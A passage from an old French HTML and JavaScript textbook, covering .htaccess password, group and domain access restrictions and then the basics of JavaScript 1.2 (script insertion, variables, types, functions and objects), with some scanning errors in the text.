vont être uuencoded1 Attention : il ne s'agit pas d'un encryptage sécurisé !
On se positionne ensuite dans le répertoire contenant les fichiers HTML à protéger (dans
notre exemple ces fichiers ne seront pour le moment accessibles qu'aux utilisateurs
davidl et stef).
On crée dans ce répertoire le fichier .htaccess qui devra contenir les lignes suivantes :

AuthUserFile /usr/local/bin/www/httpd_l.3 /bdgpwd/.htpasswd

AuthGroupFile /dev/null
AuthName ByPassword
AuthType Basic

<limit GET>
require valid-user
</Limit>

Il est ausi possible de gérer des groupes d'utilisateurs. Pour ce faire, il suffit de créer un
fichier .htgroup (toujours dans le répertoire de son choix). Ce fichier sera structuré
comme dans l'exemple suivant :

admin-grp: dubois etienne gaillard

systm-grp: perrot dumas
visit-grp: dufour

Chaque répertoire pourra être ensuite ouvert au(x) groupe(s) concemé(s), comme le
fichier .htaccess de l'exemple suivant autorisant les groupes admi-grp et systm-grp à
accéder aux fichiers HTML contenus dans le même répertoire :

AuthUserFile /usr/local/bin/www/httpd_l.3/bdgpwd/.htpasswd
AuthGroupFile /usr/local/bin/www/httpd_l.3/bdgpwd/.htgroup
AuthName ByPassword
AuthType Basic

<limit GET>
require group admin-grp
require group [Link]
</Limit>

1. Méthode d'encodage des fichiers pour leur transfert par réseau.

275
 Programmation HTML et JavaScript

Figure 44 - Fenêtre d'authentification

Authentification par le réseau

Dans cette méthode, on va autoriser ou interdire l'accès à un groupe d'utilisateurs appar­
tenant à un même domaine. Par exemple, on offrira l'accès aux pages HTML exclusive­
ment aux utilisateurs venant du domaine .fr et du domaine .[Link], ou on interdira
l'accès à tous les utilisateurs du domaine .[Link].
Le principe reste identique, seul le contenu du fichier .htaccess est différent.
Deux possibilités sont offertes :

• On refuse tous les accès sauf ceux qui sont précisés :

AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName AccesRestreint
AuthType Basic

<limit GET>
order deny,allow
deny from all
allow from .fr
allow from .[Link]
</Limit>

• On accepte tous les accès sauf ceux qui sont précisés :

AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName InterditPartiel
AuthType Basic

<limit GET>
order allow,deny
allow from all
deny from [Link]
</Limit>

276
Authentification des accès

Propagation de la protection
Lorsqu'on protège un répertoire, tous les sous-répertoires sont automatiquement proté­
gés comme le montre la figure 45 :

Figure 45 - Propagation de la protection

277
 Programmation HTML et JavaScript

RÉSUMÉ

On réserve l'accès à certains fichiers HTML en plaçant, dans le même

répertoire que ces fichiers, un fichier dont le nom est .htaccess.
• On peut réserver les fichiers à des utilisateurs nommés qui sont
décrits dans une base de données appelée .htpasswd. Il existe un
utilitaire (htpasswd) sur les serveurs distribués par NCSA pour gérer
ce fichier d'utilisateurs autorisés.
• On peut aussi réserver l'accès aux membres d'un même domaine IP
en précisant soit la liste des domaines autorisés, soit celle des domai­
nes interdits.

Le choix entre ces deux modes s'effectue au niveau du fichier .htac­

cess. Il est possible de faire une combinaison des deux modes.

278
Le langage JavaScript
 Chapitre 22

JavaScript 1.2

Quiconque a un jour touché à HTML peut affirmer qu'il s'agit d'un langage gratifiant. En
très peu de temps, il est possible de réaliser de jolis documents, mélanges de texte, de
graphiques et de formulaires. Qui plus est, ces documents peuvent être consultés sans
aucun problème par des millions d'individus. Cependant, après avoir travaillé quelque
temps avec HTML, on commence à en sentir les limites. La simplicité du langage fait à la
fois sa force et sa faiblesse. Par exemple, la nécessité de faire transiter par le serveur la
moindre information, le moindre test, alourdit considérablement le développement
d'interfaces en HTML. HTML n'est en fait qu'un langage de description de documents,
et les premiers browsers n'étaient que de simples terminaux passifs capables d'interpré­
ter ce langage. La situation ne pouvait en rester là. Ce qu'on avait gagné en public (et
Internet est un vaste public !), et en "communicabilité", on l'avait perdu en fonctionnalité
(la notion de terminal passif nous ramène quelques années en arrière...).
Aujourd'hui, les browsers ont mûri. Tous les constructeurs ont décidé de leur donner un
peu d'intelligence, un peu d'indépendance. Netscape pousse en avant son nouveau-né,
JavaScript, Microsoft tente d'imposer VB Script, un dérivé de Visual Basic (tout en
implémentant quelques bribes de JavaScript) et Oracle a également mis au point un lan­
gage propriétaire. Les browsers sont maintenant programmables. Ils se sont émancipés et
sont tout à fait capables de prendre des décisions sans avoir à en référer au moindre ser­
veur et sans trop altérer la simplicité originale d'HTML.
Bien sûr, on reste loin des possibilités de Java, maintenant implémenté sur la plupart des
browsers. Mais comme on le verra par la suite, les compétences et le temps requis par la
programmation en Java sont bien supérieurs à ce qu'il en est avec JavaScript.

281
 Programmation HTML et JavaScript

Dans cet ouvrage, nous avons décidé de nous limiter à la présentation de JavaScript
appliqué au développement de documents HTML. Ce langage, né avec le Web, est, à
notre avis, celui qui a le mieux réussi son mariage avec HTML. Ces deux langages sont
d'ailleurs si intimement liés, que nous avons choisi de décrire simultanément balises
HTML et objets JavaScript. Ce chapitre constitue une approche générale du langage.
Si la première version de JavaScript, apparue avec Netscape 2.0, était un peu limitée,
vous verrez que la version 1.2 décrite ici est beaucoup plus achevée. Cette version n'est,
pour l'instant, supportée que par Netscape 4.0, mais il est probable que d'autres cons­
tructeurs l'intègrent dans un proche avenir.

Java et JavaScript
On pourrait présenter JavaScript comme le petit frère de Java. A dire vrai, les deux frères
n'ont pas grand-chose en commun, si ce n'est peut-être le nom et la syntaxe, assez pro­
che de celle du C++. Il règne en fait une certaine confusion lorsqu'on parle de ces deux
langages. On entend souvent parler de " script java" alors que ce terme n'a aucun
sens : Java n'est pas un langage de script (c'est un langage compilé) et un script Java­
Script n'a rien à voir avec Java !
JavaScript est un langage qui n'a absolument pas les prétentions de Java. Java est un lan­
gage de programmation à part entière (comme le C, le C++, le Pascal...). Son terrain
d'action ne se limite pas au Web. En Java, on peut absolument tout faire ! HotJava, par
exemple, le browser Web proposé par SUN, est écrit entièrement en Java. Et même
lorsqu'il est utilisé dans un contexte Internet (c'est-à-dire sous forme de programmes -
applets - s'exécutant dans des pages Web), Java reste bien distinct d'HTML. L'applet
Java s'exécute dans une zone du document HTML, mais de façon complètement indé­
pendante de ce document. En particulier les objets définis avec HTML (formulaires, ima­
ges...) ne sont pas accessibles depuis l'applet.
JavaScript, au contraire, est profondément intégré à HTML, à tel point que sans HTML,
il n'a pas vraiment de raison d'être. En JavaScript, on se contente de donner un peu de
vie à HTML. On pourra, par exemple, vérifier les valeurs saisies dans un formulaire
HTML sans avoir à contacter un serveur. On pourra également changer le contenu d'une
image sans recharger tout le document. JavaScript peut accéder à la quasi-totalité des
objets définis en HTML. Peut-être un jour JavaScript prendra-t-il de l'ampleur et
s'émancipera-t-il du simple cadre des browsers Web (Netscape le propose déjà pour
l'écriture de genre de scripts CGI sur ses serveurs), mais l'heure n'est pas encore venue.
En résumé, si l'on jette un œil du côté des fonctionnalités, il est clair que JavaScript fait
pâle figure face à Java. Mais, un peu à la manière d'HTML, la force de JavaScript est sa
simplicité, propre à attirer un public de non-informaticiens. En effet, pour écrire une
applet Java, il faut un compilateur Java (comme le Java Developpment Kit de SUN), un
éditeur de texte et un browser, sans oublier de solides connaissances en programmation
objet. Au contraire, on peut faire ses premiers pas en JavaScript avec seulement un édi­
teur de texte, un browser, quelques connaissances en HTML et des notions de program­
mation.
Mais voyons concrètement ce qui différencie ces deux langages.

282
JavaScript 1.2

JavaScript est un langage de script, c'est-à-dire un langage interprété qui ne nécessite

aucune compilation. Il possède de nombreuses caractéristiques des langages objet, mais
cependant, il ne peut pas prétendre être un véritable langage objet dans la mesure où il
n'implémente pas la notion d'héritage et possède une notion de classe très simpliste. La
programmation en est simplifiée, mais limitée en fonctionnalités. La plupart des objets
manipulés sont les objets définis par les balises HTML (liens, images, champs de
texte...).
Java est un langage compilé (ou plutôt précompilé). Il s'agit d'un vrai langage objet,
avec en particulier des notions de classe et d'héritage.
En JavaScript, la déclaration des variables est optionnelle (mais conseillée !) et elle
n'indique pas le type de la variable.
En Java, les variables doivent être déclarées, et cette déclaration doit en préciser le type.
Enfin, JavaScript vérifie les références entre objets seulement lors de l'exécution, alors
que cette vérification est faite à la compilation pour Java.

En conclusion, Java et JavaScript n'entrent pas en concurrence. Au contraire, ils se com­

plètent. Java permet d'effectuer des tâches complexes, avec un graphisme avancé et une
exigence de performances. JavaScript pourra permettre de bien intégrer l'applet ainsi
obtenue à un document HTML.

Du JavaScript d'accord, mais où ?

Avant d'étudier en détail la syntaxe de JavaScript, précisons tout d'abord comment le
code JavaScript est inséré au code HTML. Pour cela, nous allons nous appuyer sur un
premier document HTML enrichi avec des commandes JavaScript. Cet exemple a uni­
quement pour but de montrer comment le code JavaScript s'intègre au sein du code
HTML. Ne vous inquiétez donc pas si vous ne comprenez pas vraiment le sens des com­
mandes JavaScript.

283
 Programmation HTML et JavaScript

Figure 46 - Document [Link]

Voici l'allure du document correspondant :

Figure 47 - Affichage du document [Link]

Ce document reflète les trois méthodes possibles pour insérer du code JavaScript dans un
document HTML :
• la première consiste à utiliser les balises <SCRIPT>...</SCRIPT> ;
• la seconde à utiliser le pseudo-protocole JavaScript:... dans une URL ;
• la dernière à utiliser un des nouveaux attributs de balise pour la gestion d'événe­
ments.

284
JavaScript 1.2

La balise <SCRIPT>...</SCRIPT>
La syntaxe générale de la balise <SCRIPT> est la suivante :

<SCRIPT LANGUAGE="nomJangage" SRC="URL" ARCHIVE="[Link]" ID=entier>

</SCRIPT>

Cette balise a été ajoutée au langage HTML pour insérer du code destiné à être exécuté
par le browser. L'attribut LANGUAGE permet d'indiquer le langage du code en ques­
tion. Dans Netscape, la valeur par défaut est JavaScript. Cependant, il est bon de préciser
la valeur de cet attribut dans la mesure où certains browsers peuvent avoir une autre
valeur par défaut. En fait, dans le cas du langage JavaScript, trois valeurs sont possibles :
JavaScript, JavaScript1.1 et JavaScript1.2, qui illustrent l'évolution du langage avec les
nouvelles versions du browser. Netscape 2.0 ne prend en compte que les scripts avec un
attribut LANGUAGE ayant la valeur JavaScript. Netscape 3.0 ne prend en compte que
les scripts avec un attribut LANGUAGE ayant la valeur JavaScript ou JavaScript1.1.
Netscape 4.0 prend en compte les scripts avec un attribut LANGUAGE ayant la valeur
JavaScript, JavaScriptl.l ou JavaScript1.2.
Lorsque la valeur de l'attribut LANGUAGE est JavaScript, tout browser compatible
JavaScript sait que le texte compris entre ces deux balises ne doit pas être affiché mais
interprété comme étant du code JavaScript. Ce code est exécuté au fur et à mesure que le
browser charge le document HTML. Ainsi, si le code JavaScript définit une fonction, il
ne se passe rien de visible. Le browser stocke simplement la définition de cette fonction.
C'est le cas de la première utilisation de la balise <SCRIPT> de la figure 46, page 284.
Dans la deuxième utilisation de la balise <SCRIPT>, on voit très bien en revanche que le
code est interprété au cours du chargement. En effet, dans ce second cas, on utilise la
commande [Link]() qui, comme on le verra en détail par la suite, permet
d'écrire directement dans le document en cours de chargement. On s'aperçoit ainsi que le
texte écrit avec cette commande ('Vous pouvez fermer cette fenêtre en cliquant ') appa­
raît dans le document final (figure 47, page 284) avant le texte composant la suite du
document ('ou en passant la souris au-dessus de ').
Cette méthode est de loin la plus utilisée pour insérer le code JavaScript. Dans la grande
majorité des cas, on insère ces balises dans l'en-tête du document (entre les balises
<HEADER>...</HEADER>) pour définir des fonctions JavaScript. On s'assure ainsi que
les fonctions sont déclarées le plus tôt possible dans la mesure où l'en-tête est la partie
chargée en premier. Il n'y a donc aucun risque de faire appel par la suite à une fonction
qui n'a pas encore été définie.
La balise <SCRIPT> possède également un attribut SRC. Celui-ci permet de charger du
code JavaScript stocké dans un autre fichier. Ainsi, si vous avez défini des fonctions
JavaScript que vous souhaitez utiliser dans plusieurs documents HTML, une bonne solu­
tion consiste à placer votre code JavaScript dans un fichier, à placer ce fichier sur votre
serveur et à utiliser l'attribut SRC de la balise <SCRIPT> pour insérer le code JavaScript
dans vos documents HTML.

285
 Programmation HTML et JavaScript

Notez que même dans le cas où l'on utilise la balise SRC, la balise </SCRIPT> doit être
insérée. Quant au nom du fichier JavaScript indiqué dans l'URL, il doit avoir l'extension
'.js'. D'autre part, il faut que le serveur sur lequel réside ce fichier sache que l'extension
'.js' correspond au type MIME application/x-JavaScript. Si ce n'est pas le cas, le code ne
sera pas chargé ! Si cela vous semble un peu complexe, parlez-en à l'administrateur sys­
tème de votre site.

L'ensemble des deux fichiers ci-dessus

est équivalent au fichier ci-contre,
l'avantage étant que les fonctions défi­
nies dans le fichier [Link] pourront aisé­
ment être insérées dans n'importe quel
fichier HTML.

Enfin, les attributs ID et ARCHIVE sont optionnels. Ils sont ajoutés pour gérer la signa­
ture digitale des scripts JavaScript (voir JavaScript et la sécurité, page 402).

Le pseudo-protocole JavaScript
Jusqu'à présent, on savait qu'une URL pouvait être composée à partir des protocoles
http, ftp, gopher, news etc. Désormais, on va également pouvoir utiliser le pseudo-proto­
cole JavaScript. Une URL utilisant ce protocole aura l'aspect suivant :

[Link] JavaScript

Grâce à ce pseudo-protocole, on peut provoquer l'exécution de code JavaScript à la place

du chargement d'un nouveau document. Dans l'exemple de la figure 46, page 284, on a
utilisé ce protocole dans l'attribut HREF d'une balise <A>...</A>. Lorsqu'on clique sur

286
JavaScript 1.2

le lien défini par cette ancre, on ne charge pas un nouveau document, mais on fait appel à
du code JavaScript, en l'occurrence à la fonction fin() qui ici ferme le browser.
On verra qu'en pratique on utilise rarement cette méthode pour insérer de longues
séquences de code. On se limite, comme dans notre exemple, à réaliser des appels à des
fonctions définies dans l'en-tête du document entre les balises <SCRIPT>...</SCRIPT>.
On verra par la suite que ce pseudo-protocole est en général utilisé en association avec
l'opérateur void() (voir void, page 399).

Les nouveaux attributs de gestion d'événements

JavaScript a été créé de façon qu'on puisse programmer la réaction des browsers face
aux événements utilisateur (par exemple un clic de souris, la modification de la valeur
d'un champ texte, la soumission d'un formulaire...). Afin de pouvoir associer du code
JavaScript à chacune des actions de l'utilisateur sur un objet d'un document HTML, il a
fallu créer de nouveaux attributs de balise. Par exemple, lorsque l'utilisateur passe sa
souris au-dessus d'un lien hypertexte, cela déclenche un événement, dont le nom anglais
est MouseOver. Pour gérer cet événement, il existe un nouvel attribut à la balise <A>
...</A>, l'attribut onMouseOver. De manière générale, pour gérer un événement, on
pourra insérer du code JavaScript de la façon suivante :

<BALISE onEvenement="Code JavaScript">

Nous reviendrons en détail sur la liste des événements pouvant être pris en compte par le
browser (voir La gestion des événements, page 340).
Comme la méthode précédente, cette méthode est rarement utilisée pour insérer de lon­
gues séquences de code. On se limite à réaliser des appels à des fonctions définies dans
l'en-tête du document entre les balises <SCRIPT>...</SCRIPT>.

Insertion de variables JavaScript

Il existe également une méthode plus rarement utilisée, qui permet d'insérer non pas du
code JavaScript, mais plutôt la valeur d'une variable JavaScript comme valeur d'un attri­
but de balise HTML. Cette insertion se fait un peu de la même façon que celle de carac­
tères spéciaux. En effet, pour insérer des caractères spéciaux dans du code HTML, on
utilise une notation issue de SGML. Par exemple, pour insérer le caractère >, on tapera
en fait &gt; (gt pour greater than). Pour insérer la valeur d'une variable JavaScript, on
utilise une syntaxe un peu semblable. Si la variable à insérer s'appelle Taille, on pourra
insérer sa valeur en utilisant la chaîne &{Taille};.
L'exemple est celui d'un texte dont la taille des caractères varie à chaque chargement.

287
 Programmation HTML et JavaScript

Figure 48 - Document [Link]

Figure 49 - Deux chargements successifs du document [Link]

La balise <NOSCRIPT> au secours des vieux browsers

N'oubliez pas de penser aux utilisateurs qui ont un vieux browser incapable de compren­
dre quoi que ce soit à JavaScript. Ne connaissant pas la balise <SCRIPT>, ces browsers
l'ignorent et affichent à l'écran tout le code JavaScript. Le remède à cela consiste à met­
tre l'ensemble du code JavaScript sous forme de commentaire HTML. Cela ne perturbe
pas les browsers compatibles JavaScript et permet de cacher le code aux browsers non
compatibles.
En conclusion, si l'on souhaite que le code JavaScript apparaisse lorsque le document est
affiché par un browser non compatible, on insérera ce code de la façon suivante :

288
JavaScript 1.2

<SCRIPT>
<!-- Début de commentaire HTML

Code JavaScript

// Fin de commentaire HTML -->

</SCRIPT>

Mais parce qu'il est bon de prévenir les utilisateurs de vieux browsers qu'il est temps
qu'ils changent de logiciel, Netscape a également ajouté, dans sa panoplie de nouvelles
balises, la balise <NOSCRIPT>, qui fonctionne exactement comme <NOFRAMES>.
Ainsi, un programmeur consciencieux insérera son code JavaScript de la façon suivante :
<SCRIPT>
<!-- Début de commentaire HTML

Code JavaScript

// Fin du commentaire -->

</SCRIPT>
<NOSCRIPT>
Attention, ce document contient du code JavaScript que votre browser
n'est pas capable d'interpréter.<BR>
Vous avez déjà entendu parlé de Netscape ???
</NOSCRIPT>

Cette balise peut aussi être utilisée dans le cas où l'utilisateur d'un browser compatible
JavaScript a inhibé l'option JavaScript, comme on peut le faire avec Netscape à partir du
menu Options/Réseau-Sécurité.

Maintenant que vous avez une meilleure idée de la façon d'insérer le code HTML dans
un document HTML, abordons en détail la programmation en JavaScript.

Les variables
Comme la plupart des langages, JavaScript dispose de variables permettant de stocker et
de manipuler des données. Ainsi, une variable pourra référencer aussi bien des nombres,
des chaînes de caractères, des booléens que des objets.
Un nom de variable est composé de lettres non accentuées (majuscules ou minuscules),
de caractères underscore _, et de chiffres, à condition que le premier caractère ne soit pas
un chiffre. JavaScript étant sensible à la casse (case sensitive en anglais), deux variables
nommées Taille et taille sont différentes.
La déclaration des variables est optionnelle (mais très fortement conseillée !). Elle se fait
à l'aide de l'instruction var. Le type de la variable n'est pas précisé. Il est possible lors de
la déclaration d'initialiser la valeur de la variable. Dans le cas contraire, la variable prend

289
 Programmation HTML et JavaScript

la valeur undefined (et elle est du type undefined). Une fois qu'on lui a affecté une valeur,
une variable a un type (nombre, chaîne de caractères...), mais ce type peut changer si on
lui affecte une valeur d'un autre type.
Il existe en JavaScript une notion de variable globale et locale. Les variables locales sont
déclarées au sein d'une fonction. Les variables globales sont les variables déclarées en
dehors du corps d'une fonction. La portée d'une variable locale se limite à la fonction
dans laquelle elle a été déclarée. La portée d'une variable globale se limite au document
dans lequel elle a été déclarée. Si l'on désire utiliser une variable globale définie dans un
autre document (dans une autre frame par exemple), il faut indiquer la hiérarchie permet­
tant d'atteindre cet autre document, comme dans l'exemple suivant :

[Link]

Ce point est expliqué en détail à la figure 58, page 319.

On a dit que la déclaration des variables était optionnelle. Cependant, il existe un cas
dans lequel cette déclaration est nécessaire : lorsqu'on désire utiliser une variable locale
de même nom qu'une variable globale (mais ce n'est pas très judicieux).
L'exemple suivant résume tous ces cas :

Figure 50 - Document [Link]

290
JavaScript 1.2

Figure 51 - Affichage de document [Link]

Les types
En JavaScript, on manipule cinq types d'entités. Trois types de données simples : les
chaînes de caractères (string en anglais), les nombres (number) et les booléens (boolean).
Un type pour les données structurées : les objets (object).
Enfin, il reste un type un peu particulier qui permet notamment de manipuler les autres
types, les fonctions (function).

Les chaînes de caractères

Les chaînes de caractères sont définies en JavaScript comme dans la plupart des langa­
ges. Ainsi, on pourra définir une chaîne de la façon suivante :

'Quoi de neuf docteur ?' ou "Quoi de neuf docteur ?"

Comme on le voit, on peut utiliser indifféremment les apostrophes ' ou les guillemets "
pour délimiter le début et la fin de la chaîne. En pratique, on privilégiera souvent les
apostrophes, les guillemets étant utilisés pour délimiter les valeurs des attributs de bali­
ses HTML.
Comme en C, des caractères spéciaux peuvent être insérés dans les chaînes de caractères.
En voici la liste :
• \b permet d'insérer un retour en arrière ;
• \f permet d'insérer un saut de page ;
• \n permet d'insérer un saut de ligne ;
• \r permet d'insérer retour chariot ;
• \t permet d'insérer un caractère de tabulation.

Toujours comme en C, \ est le caractère d'échappement. Il permet par exemple d'indi­

quer à JavaScript qu'on désire insérer une apostrophe dans une chaîne de caractères et

291
 Programmation HTML et JavaScript

que JavaScript ne doit donc pas interpréter cette apostrophe comme un indicateur de fin
de chaîne. Ainsi :

'Quoi d\'neuf doc\' ?'

définit la chaîne :

Quoi d'neuf Doc' ?

Enfin, l'opérateur de concaténation des chaînes de caractères est le caractère +. Ainsi,

l'expression :

'Quoi de neuf' + ' Doc ' + '?'

définit la chaîne :

Quoi de neuf Doc ?

On verra par la suite (voir Les chaînes de caractères comme objets, page 361) que les
chaînes de caractères sont en fait des objets JavaScript, et qu'elles peuvent donc être
manipulées selon une syntaxe objet.

Les nombres
En JavaScript, le type number ne permet pas de faire la différence entre les entiers et les
réels. Cependant, lorsqu'on définit des nombres, on utilise une notation particulière selon
qu'on décrit un entier ou un réel. Mais quoi qu'il en soit, du point de vue de JavaScript,
les données obtenues sont des nombres, sans distinction entre réels et entiers.
Pour les entiers, certaines règles doivent être respectées. Un nombre, dont le premier
chiffre est 0, est considéré comme étant exprimé en base 8 (octale). Un nombre dont les
deux premiers caractères sont 0x est considéré comme étant exprimé en base 16 (hexadé­
cimale). Tout autre nombre est considéré comme étant exprimé en base 10 (décimale).
Ainsi, les expressions suivantes sont valides pour définir des nombres entiers et représen­
tent des valeurs distinctes :

045
0xE45A
45

Les expressions suivantes sont incorrectes, car elles utilisent des chiffres incompatibles
avec la base choisie :

292
JavaScript 1.2

084
0xT45Y
1A

Les réels sont quant à eux représentés en utilisant une partie entière, un point (et non une
virgule) et une partie décimale. Il est également possible d'indiquer une puissance de 10
à l'aide d'un symbole e ou E suivi d'un exposant entier. Par exemple :

1.2
.2
1.2e3
2E-6

Les booléens
Les booléens sont des entités qui ne peuvent avoir que deux valeurs, true (vrai) ou false
(faux).

Les fonctions
Une fonction est un ensemble d'instructions réunies pour effectuer une action bien défi­
nie. Lorsqu'on définit une fonction, on nomme cet ensemble d'instructions et on indique
les paramètres qu'on désire lui passer. Ce nom est en quelque sorte une nouvelle com­
mande du langage et pourra être utilisé à tout moment comme une commande classique.
Pour définir une fonction qui ne retourne pas de valeur, la syntaxe est la suivante :

function Nom_Function (Arg1, ..., ArgN) {

Instruction 1

InstructionM

Pour définir une fonction qui retourne une valeur, la syntaxe est la suivante :

function Nom_Function (Arg1,..., ArgN) {

Instruction 1

InstructionM
return valeur
}

293
 Programmation HTML et JavaScript

Considérons maintenant l'exemple d'une fonction très simple qui prend deux nombres
en paramètres et qui retourne le plus grand des deux :

function maximum(a,b) {
if (a > b) {
return a
}else {
return b
}
}

maximum(2,8) retournera 8. maximum( 19,2) retournera 19.

Il faut noter que les arguments des fonctions ne sont pas typés lors de la définition de la
fonction. Il peut s'agir aussi bien de chaînes de caractères, de nombres, de booléens que
d'objets. D'autre part, le nombre d'arguments d'une fonction n'est pas fixé lors de sa
déclaration. On peut par exemple imaginer une fonction qui, appelée sans argument, ren­
voie le jour de la semaine et qui, appelée avec en paramètre une date (au format Jour/
Mois/Année), renvoie le jour de la semaine pour cette date. Voici le détail d'une telle
fonction :

function jour(date) {
// Objet qui permettra de stocker la date
var LaDate
// Tableau contenant les jours de la semaine
Semaine = new Array('Dimanche', 'Lundi', 'Mardi',
'Mercredi' , 'Jeudi', 'Vendredi', 'Samedi')

// Cas où une date est passée en argument

if (date) {
/ / On récupéré le jour le mois et l'année
// et on crée un objet Date
dateJS = [Link]('/')
LaDate = new Date(dateJS[2], dateJS[1]-1, dateJS[0])
} else {
// Cas ou aucune date n'est passée en argument
/ / O n récupère la date du jour
LaDate = new Date()
}
// Le jour de la semaine d'un objet Date est
// obtenu avec la méthode getDay() sous forme d'un chiffre.
// Ce chiffre correspond à l'index dans notre tableau Semaine.
// Par exemple, 0 correspond à Dimanche...
return Semaine[[Link]()]
}

294
JavaScript 1.2

Si l'on est lundi, jour() retournera Lundi. Maintenant, si je désire connaître quel jour de
la semaine je suis né, je taperai jour( '4/6/70'). Cela me permet de savoir que je suis né un
Jeudi. L'objet prédéfini Date() utilisé ici est décrit page 351.

Quelques autres points techniques sont abordés plus en détail lors de la description de
l'instruction function, page 388.

Les objets
On l'a déjà dit, JavaScript n'est pas un véritable langage orienté objet. En particulier, la
définition des classes y est simpliste et la notion d'héritage entre classes manque. Cepen­
dant, JavaScript possède de nombreuses caractéristiques et une syntaxe largement inspi­
rée de la programmation objet, ce en quoi il constitue une assez bonne introduction à ce
type de programmation. Ainsi, les données autres que de simples nombres, chaînes de
caractères ou booléens pourront être manipulées selon une syntaxe objet. Afin d'aborder
la structure objet proposée par JavaScript, nous avons choisi d'utiliser une terminologie
objet.
A la base de la programmation objet se trouve la notion de classe. Une classe est en fait
une famille d'objets possédant une structure et un comportement commun. Pour définir
une classe, on doit simplement préciser les caractéristiques communes à tous les objets
de cette classe ainsi que les outils (les fonctions) qui peuvent être appliqués à ces objets.
Considérons un exemple très simple. Nous souhaitons représenter des individus. Nous
allons pour cela créer une classe Individu définissant les propriétés qui caractérisent un
individu. Les caractéristiques que nous retiendrons pour un individu sont le nom, le pré­
nom et la date de naissance. Dans la terminologie objet de JavaScript, chacune des carac­
téristiques d'un objet est appelée une propriété (en C++, on parle plutôt d'attribut). Pour
modéliser nos individus, nous définirons donc la classe Individu qui aura trois propriétés
que nous appellerons nom, prenom, et date_naissance. D'autre part, nous souhaitons
également disposer d'un outil qui fournisse l'âge d'un individu. En terminologie objet,
un outil s'appliquant aux objets d'une classe est appelé une méthode. Il nous faut définir
la méthode age comme la différence entre la date actuelle et la propriété date_naissance
de la classe Individu.
Une fois qu'on a défini une classe, il faut aussi définir la façon dont on va pouvoir créer
un élément appartenant à cette classe (en terminologie objet, on dira "créer une instance
de la classe"). Par exemple, comment créer l'objet de la classe Individu qui représente
Pierre Dupont, 25 ans ? On appelle constructeur l'outil qui permet de créer un élément
particulier d'une classe.

En fait, en JavaScript, la définition d'une classe et la définition du constructeur de cette

classe sont réalisées simultanément par la déclaration d'une fonction un peu particulière.
Concrètement, pour la classe Individu, cela donnera (nous oublions pour l'instant la
méthode age) :

function Individu(nom, prenom, date_naissance) {

[Link] = nom

295
 Programmation HTML et JavaScript

[Link] = prenom
this.date_naissance = date_naissance
}

On voit bien apparaître les trois propriétés de la classe, sous la forme de [Link],
[Link] et this.date_naissance. Les références aux futurs objets (ou instances) de la
classe Individu sont faites à l'aide du mot-clé this. D'une certaine manière, on peut dire
qu'au moment où l'on créera une nouvelle instance, this deviendra cette nouvelle ins­
tance, si bien que ce qui sera affecté à this le sera en fait à la nouvelle instance. En défini­
tive, cette fonction permet de définir d'une part les trois propriétés de la classe Individu,
d'autre part la façon dont il faudra initialiser chacune de ces propriétés lors de la cons­
truction d'une nouvelle instance.
Dans notre cas précis, le constructeur prend en paramètres les valeurs qui vont être affec­
tées aux différentes propriétés de l'objet lors de sa création. On pourrait également ima­
giner un constructeur qui ne prenne pas de paramètre et affecte des valeurs nulles à
chacune des propriétés. Par exemple :

function Individu() {
[Link] = null
[Link] = null
this.date_naissance = null
}

Une fois le constructeur défini, nous pouvons créer la première instance de la classe Indi­
vidu. La syntaxe générale pour créer une instance est la suivante :

nom_instance = new Constructeur()

Ou, si le constructeur prend en paramètre des arguments :

nom_instance = new Constructeur(arg1, arg2, ..., argN)

On remarque que le constructeur est toujours utilisé en conjonction avec l'instruction

new, qui indique à JavaScript qu'on souhaite créer une instance et non faire un appel
classique à une fonction.
Dans notre cas, si je désire créer une instance pour représenter ma nièce Clémentine,
nous aurons :

niece = new Individu('Clémentine', 'Gomez', '3/12/95')

Maintenant qu'on dispose d'une instance de la classe Individu, voyons comment accéder
aux différentes propriétés de cette instance. La syntaxe est simple :

nom_instance.propriété

296
JavaScript 1.2

Les trois propriétés de l'objet niece pourront être référencées par [Link], [Link]­
nom et niece.date_naissance. Ainsi, si l'on veut modifier le nom de Clémentine, on s'y
prendra de la façon suivante :

[Link] = 'Aubert'

Compliquons maintenant les choses. Voyons comment ajouter une méthode à un cons­
tructeur. L'ajout d'une méthode se fait en deux étapes. Tout d'abord, il faut créer une
fonction qui va définir le comportement de cette méthode. Ensuite, on intègre cette
méthode au constructeur, comme une propriété dont le nom sera le nom de la méthode et
la valeur sera le nom de la fonction préalablement définie (le nom seulement, sans les
parenthèses, car il s'agit simplement d'une référence vers cette fonction et non d'un
appel à la fonction).
Reprenons la définition de notre constructeur de façon à ajouter la méthode age à la
classe Individu. Pour ce faire, il faut d'abord définir une fonction qui calcule la différence
entre la propriété date_naissance de la classe Individu et la date actuelle. Ne prêtez pas
garde au détail du calcul, nous expliquerons le fonctionnement de l'objet Date() plus
tard.

function age() {
// Date du jour
Aujourd'hui= new Date()
/ / Date de naissance
/ / O n recupere le jour le mois et l'annee et on cree l'objet
// Naissance (de la classe Date)
dateJS = this.date_naissance.split('/' )
Naissance = new Date(dateJS[2], dateJS[1]-1, dateJS[0])
// Différence des deux dates en millisecondes divisee par le
// nombre de millisecondes dans un an !
NombreAnnee=[Link](( [Link]()
- [Link]())/ (24*60*60*1000*365.25))
return NombreAnnee
}

On remarque que la référence à l'objet sur lequel va porter la méthode se fait là encore
avec le mot-clé this. Lorsqu'on appliquera la méthode, this sera remplacé par l'instance
sur laquelle on appliquera la méthode. Une fois la fonction qui implémente la méthode,
définie on l'intègre au constructeur en ajoutant une nouvelle propriété. Voyons l'allure
nouvelle que doit avoir notre constructeur pour la prendre en compte :

function Individu(nom, prenom, date_naissance) {

/ / Definition des proprietes
[Link] = nom
[Link]énom = prenom
this.date_naissance = date

297
 Programmation HTML et JavaScript

// Définition des méthodes

[Link] = age
}

Le tour est joué.

La syntaxe pour appliquer une méthode à une instance d'objet est la suivante :

nom_instance.methode(arg1, arg2,..., argN)

Dans notre cas précis, on pourra avoir le code suivant :

niece = new Individu('Clémentine', 'Gomez', '3/12/95')

[Link]([Link]() + ' an' + (([Link]() > 1)?'s.' : '.'))

Il affichera ' 1 an' sur le browser.

Pour compliquer encore un peu plus, voyons comment une propriété peut également
faire référence à une instance de classe, c'est-à-dire à un objet (et non à une simple
chaîne de caractères ou à un simple nombre). Imaginons que, pour chaque individu, on
désire avoir la possibilité de renseigner une nouvelle propriété qui désigne la mère de
l'individu. Pour cela, il va falloir modifier le constructeur de la classe Individu de façon à
